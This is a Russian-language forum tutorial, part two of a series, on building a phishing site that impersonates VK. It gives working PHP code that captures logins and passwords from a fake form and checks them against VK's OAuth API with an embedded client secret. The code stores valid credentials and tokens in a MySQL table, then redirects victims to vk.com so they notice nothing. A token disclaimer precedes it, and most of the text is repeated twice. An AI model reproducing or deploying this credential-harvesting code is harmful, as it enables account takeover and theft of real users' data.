Доброго времени суток, дорогие форумчане! Продолжаем тему создания фишинг сайта ВК. В данной части создадим БД и будем записывать туда все валид данные, приходящие от HTML формы. А так же сделаем редирект на vk.com после успешной авторизации. Поехали.
Дисклаймер
Материал предоставлен для ознакомления. Автор не побуждает совершать действия, описанные ниже. В статье упоминаются некоторые онлайн сервисы, что не является рекламой.
Создадим БД. Переходим на хостинге в PhpMyAdmin и нажимаем "Создать".
В таблице БД будет 5 столбцов: id, Логин (login), Пароль (password), Токен (token) и Дата (date). Назовем таблицу "vk", количество столбцов зададим 5 и нажмем "Вперед"
Далее все параметры и имена зададим, как на картинке
В параметрах столбца id должен быть отмечен параметр "A_I" (auto_increment) и стоять PRIMARY KEY. Получится примерно вот что
Надеюсь, вы помните весь тот код в login.php, что мы писали в прошлой части? На всякий случай я продублирую
[SRC]
<?php
//Создадим headers
$headers = array(
'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'content-type' => 'application/x-www-form-urlencoded',
'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36'
);
//Запишем сюда значения логина и пароля из HTML формы
$login = $_POST['login'];
$password = $_POST['password'];
//Если какое-то поле оказалось пустым
if (empty($login) or empty($password))
{
//Отправим пользователя на стартовую страницу authorize и просигнализируем об ошибке
header('Location: /authorize.php?error_login=true');
exit;
}
else
{
//Если все поля заполнены, то посылаем запрос на получение токена по нашей ссылке выше
$get_token = post ('https://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$login.'&password='.$password.'' ,array(
'headers' => array(
'accept: '.$headers['accept'],
'content-type: '.$headers['content-type'],
'user-agent: '.$headers['user-agent']
)
));
//Если авторизация прошла успешно, то отобразим полученный токен
if (preg_match("/[a-z0-9]{85}/", $get_token['headers'], $token))
{
echo "token=".$token[0];
echo "<br>login=".$login;
echo "<br>password=".$password;
exit;
}
//Если авторизация не прошла, то отправим пользователя на стартовую страницу с ошибкой
else header('Location: /authorize.php?error_login=true');
}
//cUrl POST
function post($url = null, $params = null, $proxy = null, $proxy_userpwd = null) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
if(isset($params['params'])) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params['params']);
}
if(isset($params['headers'])) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $params['headers']);
}
if(isset($params['cookies'])) {
curl_setopt($ch, CURLOPT_COOKIE, $params['cookies']);
}
if($proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy);
if($proxy_userpwd) {
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd);
}
}
$result = curl_exec($ch);
$result_explode = explode("\r\n\r\n", $result);
$headers = ((isset($result_explode[0])) ? $result_explode[0]."\r\n" : '').''.((isset($result_explode[1])) ? $result_explode[1] : '');
$content = $result_explode[count($result_explode) - 1];
preg_match_all('|Set-Cookie: (.*);|U', $headers, $parse_cookies);
$cookies = implode(';', $parse_cookies[1]);
curl_close($ch);
return array('headers' => $headers, 'cookies' => $cookies, 'content' => $content);
}
?>
[/SRC]
Теперь пришло время подключить наш скрипт к БД. Пропишем эти строки
[SRC]
//Записываем в переменную текущую дату и время сервера
$date_l = date("H:i:s d-m-Y");
//Подключаемся к БД, которую только что создали
$host="localhost";
$user="root"; //Имя пользователя от MySql
$pass=""; //Пароль от MySql
$db_name="nec_info"; //Имя базы
$link=mysql_connect($host,$user,$pass);
mysql_select_db($db_name,$link);
mysql_query("set names utf8");
//Выполняем запись валида в БД
$sql = mysql_query("INSERT INTO /*Имя вашей таблицы...моя называется "vk" */vk(login, password, token, date) VALUES('".$login."','".$password."','".$token[0]."','".$date_l."')");
//Если все прошло успешно, то перенаправляем пользователя на vk.com
if ($sql) {
header('Location: https://vk.com/');
//Если при записи обнаружены ошибки, то перенаправим пользователя на главную страницу нашего сайта с сообщением об ошибке
} else header('Location: /authorize.php?error_login=true');
//Закрываем соединение
mysql_close($link);
exit;
[/SRC]
вместо
[SRC]
echo "token=".$token[0];
echo "<br>login=".$login;
echo "<br>password=".$password;
exit;
[/SRC]
Проверяем. Открываем наш сайт страницу authorize.php, вводим логин и пароль...и нас переадресует на vk.com. Это значит, что мы все настроили правильно и теперь в БД записываются все валидные данные с фейковой странички. Зайдем в БД и проверим
Да, все верно, данные записались. На этом пока все, дорогие друзья, спасибо за прочтение. Надеюсь эта информация была для вас полезна!
Дисклаймер
Материал предоставлен для ознакомления. Автор не побуждает совершать действия, описанные ниже. В статье упоминаются некоторые онлайн сервисы, что не является рекламой.
Создадим БД. Переходим на хостинге в PhpMyAdmin и нажимаем "Создать".

В таблице БД будет 5 столбцов: id, Логин (login), Пароль (password), Токен (token) и Дата (date). Назовем таблицу "vk", количество столбцов зададим 5 и нажмем "Вперед"

Далее все параметры и имена зададим, как на картинке

В параметрах столбца id должен быть отмечен параметр "A_I" (auto_increment) и стоять PRIMARY KEY. Получится примерно вот что

Надеюсь, вы помните весь тот код в login.php, что мы писали в прошлой части? На всякий случай я продублирую
[SRC]
<?php
//Создадим headers
$headers = array(
'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'content-type' => 'application/x-www-form-urlencoded',
'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36'
);
//Запишем сюда значения логина и пароля из HTML формы
$login = $_POST['login'];
$password = $_POST['password'];
//Если какое-то поле оказалось пустым
if (empty($login) or empty($password))
{
//Отправим пользователя на стартовую страницу authorize и просигнализируем об ошибке
header('Location: /authorize.php?error_login=true');
exit;
}
else
{
//Если все поля заполнены, то посылаем запрос на получение токена по нашей ссылке выше
$get_token = post ('https://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$login.'&password='.$password.'' ,array(
'headers' => array(
'accept: '.$headers['accept'],
'content-type: '.$headers['content-type'],
'user-agent: '.$headers['user-agent']
)
));
//Если авторизация прошла успешно, то отобразим полученный токен
if (preg_match("/[a-z0-9]{85}/", $get_token['headers'], $token))
{
echo "token=".$token[0];
echo "<br>login=".$login;
echo "<br>password=".$password;
exit;
}
//Если авторизация не прошла, то отправим пользователя на стартовую страницу с ошибкой
else header('Location: /authorize.php?error_login=true');
}
//cUrl POST
function post($url = null, $params = null, $proxy = null, $proxy_userpwd = null) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
if(isset($params['params'])) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params['params']);
}
if(isset($params['headers'])) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $params['headers']);
}
if(isset($params['cookies'])) {
curl_setopt($ch, CURLOPT_COOKIE, $params['cookies']);
}
if($proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy);
if($proxy_userpwd) {
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd);
}
}
$result = curl_exec($ch);
$result_explode = explode("\r\n\r\n", $result);
$headers = ((isset($result_explode[0])) ? $result_explode[0]."\r\n" : '').''.((isset($result_explode[1])) ? $result_explode[1] : '');
$content = $result_explode[count($result_explode) - 1];
preg_match_all('|Set-Cookie: (.*);|U', $headers, $parse_cookies);
$cookies = implode(';', $parse_cookies[1]);
curl_close($ch);
return array('headers' => $headers, 'cookies' => $cookies, 'content' => $content);
}
?>
[/SRC]
Теперь пришло время подключить наш скрипт к БД. Пропишем эти строки
[SRC]
//Записываем в переменную текущую дату и время сервера
$date_l = date("H:i:s d-m-Y");
//Подключаемся к БД, которую только что создали
$host="localhost";
$user="root"; //Имя пользователя от MySql
$pass=""; //Пароль от MySql
$db_name="nec_info"; //Имя базы
$link=mysql_connect($host,$user,$pass);
mysql_select_db($db_name,$link);
mysql_query("set names utf8");
//Выполняем запись валида в БД
$sql = mysql_query("INSERT INTO /*Имя вашей таблицы...моя называется "vk" */vk(login, password, token, date) VALUES('".$login."','".$password."','".$token[0]."','".$date_l."')");
//Если все прошло успешно, то перенаправляем пользователя на vk.com
if ($sql) {
header('Location: https://vk.com/');
//Если при записи обнаружены ошибки, то перенаправим пользователя на главную страницу нашего сайта с сообщением об ошибке
} else header('Location: /authorize.php?error_login=true');
//Закрываем соединение
mysql_close($link);
exit;
[/SRC]
вместо
[SRC]
echo "token=".$token[0];
echo "<br>login=".$login;
echo "<br>password=".$password;
exit;
[/SRC]
Проверяем. Открываем наш сайт страницу authorize.php, вводим логин и пароль...и нас переадресует на vk.com. Это значит, что мы все настроили правильно и теперь в БД записываются все валидные данные с фейковой странички. Зайдем в БД и проверим

Да, все верно, данные записались. На этом пока все, дорогие друзья, спасибо за прочтение. Надеюсь эта информация была для вас полезна!